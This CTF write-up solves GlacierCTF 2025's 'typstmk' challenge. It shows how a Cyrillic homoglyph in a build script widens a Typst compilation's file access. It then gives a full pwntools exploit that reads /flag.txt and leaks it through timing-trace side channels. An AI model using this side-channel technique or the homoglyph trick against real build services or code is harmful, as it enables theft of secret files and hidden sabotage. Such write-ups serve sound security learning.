Writeup - GlacierCTF 2025: typstmk
A misc challenge by ecomaikgolf.com, solved by Trayshar (with support from Romern, vincentscode)
Challenge
The cutting-edge Typst build tool, now with extra compilations!
echo "[+] Welcome to typstmk, where we compile your document twice for no reason!"
echo "[+] We build on $(echo ${TMPDIR:-/tmp} 2>/dev/null)/ and have a flag on /flag.txt"
This challenge allows us to upload a Typst file, which is then compiled two times.
The first compilations resulting main.pdf is deleted, and we are returned the pdf document of the second compilation.
Notable, for both compilations we generate a timing trace using --timing.
We want to get access to the flag at /flag.txt, which is inaccessible to both compilations, it seems.
Charting a path to the flag
The fact that we compile the same document twice is suspicious. Looking closer at the script, we find an important difference:
typst compile --root "$(еcho ${TMPDIR:-/tmp} 2>/dev/null)/" --timings "./{n}.json" ./main.typ &>/dev/null
rm -rf ./main.pdf
typst compile --root "$(echo ${TMPDIR:-/tmp} 2>/dev/null)/" --timings "./{n}.json" ./main.typ &>/dev/null
Can you catch it? Unlikely, but VSCode does right away. The e in the first $(echo ${... is different, it is actually U+0435. Hence the subcommand fails, meaning typst is called with --root "/": The first compilation actually has access to the flag! How convenient that they use 2>/dev/null to suppress the errors - I thought that was AI slop, at first.
Now then, we get the flag, and Typst has a read() command we can use to open it. But we can only read it in the first compilation, and only get the artifact from the second. How can we exfiltrate it? There are no write mechanism in Typst (by design, good choice), hence we have no choice but to use the generated timings report of the first compilation, since that is accessible to the second compilation. This seems to be the intended way.
Those timing reports do not contain any actual content of the document, instead they log when the Typst compiler does something, like render a rectangle, start a new page, etc. We can use this as a side-channel still, by encoding the flag as binary signal, with “0” and “1” mapped to “draw a rectangle” and “draw a circle”. Since Typst has a scripting language built-in, this is possible.
The exploit
The first hurdle is the fact that we have to provide a single Typst document, that is compiled in two different contexts.
We want to open flag.txt in the first run, but cannot open it in the second run (since we do not have access).
Similarly, we want to open 0.json (the timing trace of the first compilation) only in the second run.
Because of that exclusive ordering, we cannot re-order them to e.g. crash the first compilation after exfiltrating the flag.
Sadly, we cannot check if a file exists and there is no try-catch mechanism either. Well, there is one cursed block of code that seems to only work for images, and the mechanisms used are not documented anywhere. In fact, it seems that it relies on compiler internals that seemingly swallow the resulting error; Bug abusing. And opening those files as image is not valid, of course.
I briefly investigate different methods: How about checking the time, and depending on the seconds, pick on of these two branches? Nope, Typst only exposes the current date, not time. And there seems to be no randomness accessible either; Since its 50-50 guessing is a valid option.
Out of options and exhausted, I play around with the cursed code from before, and actually find something that works! This is not documented anywhere!
#let maybe(path) = context {
let path-label = label(path)
let first-time = query((context {}).func()).len() == 0
if first-time or query(path-label).len() > 0 {
[#let x = read(path);#raw(x);#path-label]
} else {
[Could not find #raw(path)]
}
}
With this out of the way, I begin to work on the binary encoding. It is a bit painful, but eventually works locally. Since the timing traces contain each “bit” twice, a bit more logic is needed to filter that down. But it works, neat!
So I run the thing remotely, and it does not compile. Looking at the error, it seems I’m hitting a file size limit in the final pdf file. That is bad, seems my report is too long. So I implement the decoding of the binary in Typst as well (at least such that CyberChef can easily decode it) and chunk the output. Now I can read partial chunks of the flag, nice!
With this, we arrive at the final exploit:
1from pwn import *
2from base64 import b64encode
3from hashlib import sha256
4from os import system
5
6conn = remote("challs.glacierctf.com", 13385)
7conn.recvuntil(b"[>] --- BASE64 INPUT START ---\n")
8exploit = b"""
9#let to-binary(n) = {
10 let bits = ()
11 let x = int(n)
12
13 // extract 8 bits from MSB -> LSB
14 for i in range(7, -1, step: -1) {
15 let mask = calc.pow(2, i)
16 if x >= mask {
17 bits.push("1")
18 x -= mask
19 } else {
20 bits.push("0")
21 }
22 }
23
24 bits.join("")
25}
26
27#let bin-encode(s) = {
28 // convert each codepoint to 8-bit binary
29 s.codepoints().map(cp => to-binary(cp.to-unicode())).join("")
30}
31
32#let render-binary(s) = {
33 let bits = bin-encode(s)
34 // horizontally lay them out:
35 bits.codepoints().map(bit => {
36 if bit == "1" {
37 // circle for 1
38 circle(radius: 4pt, fill: black)
39 } else {
40 // rectangle for 0
41 rect(width: 8pt, height: 8pt, fill: black)
42 }
43 }).join()
44}
45
46#let render-timing(s) = {
47 s.filter(entry => entry.name == "rect" or entry.name == "circle")
48 .slice(512, count: 256)
49 .chunks(2)
50 .map(entry => {
51 if entry.at(0).name != entry.at(1).name {
52 "E"
53 } else if entry.at(0).name == "rect" {
54 "0"
55 } else {
56 "1"
57 }
58 }).chunks(8).map(c => c.join("")).join(" ")
59}
60
61#let maybe-flag(path) = context {
62 let path-label = label(path)
63 let first-time = query((context {}).func()).len() == 0
64 if first-time or query(path-label).len() > 0 {
65 [#let x = read(path);#render-binary(x);#path-label]
66 } else {
67 [Could not find #raw(path)]
68 }
69}
70
71#let maybe-timing(path) = context {
72 let path-label = label(path)
73 let first-time = query((context {}).func()).len() == 0
74 if first-time or query(path-label).len() > 0 {
75 [#let x = json(path);#render-timing(x);#path-label]
76 } else {
77 [Could not find #raw(path)]
78 }
79}
80
81#maybe-flag("/flag.txt")
82#maybe-timing("./0.json")
83"""
84
85# Update slice in render-timing to get different view
86
87exploit_hash = sha256(exploit).digest().hex()
88conn.sendline(b64encode(exploit) + b"@")
89conn.recvuntil(b"[+] Received file with a SHA256 hash of ")
90recv_hash = conn.recvline()[:-1].decode()
91assert recv_hash == exploit_hash, f"{recv_hash} != {exploit_hash}"
92
93conn.recvuntil(b"[+] --- BASE64 OUTPUT START ---\n")
94response = conn.recvuntil(b"[+] --- BASE64 OUTPUT END ---", drop=True)
95response = response.decode().replace("\n", "")
96# Do not try this at home...
97system(f"echo {response} | base64 -d | tar xz > main.pdf")
98conn.close()
This gives me a pdf file with the partial flag, encoded as binary. All I have to do is move the slice offset each time, and after 3 calls I am done!
Could not find /flag.txt
01011111 01101100 00110100 01110100 00110011 01111000 01011111 00110010 00111000 01100010
00110101 00110011 01111101 00001010 01100111 01100011
The final flag is assembled on CyberChef:
gctf{a87df_4nd_st1ll_f4st3r_th4n_l4t3x_28b53}
Notes
After reading the authors writeup of the challenge, I notice that I did not have to invent a try-catch mechanism at all, since they create the 0.json file before starting the first compilation.
Hence I could just open it and check if it has content to see in which compilation call I am.
Also note that we are hosting Haix-La-Chapelle, our very own CTF, this weekend! Feel free to join!

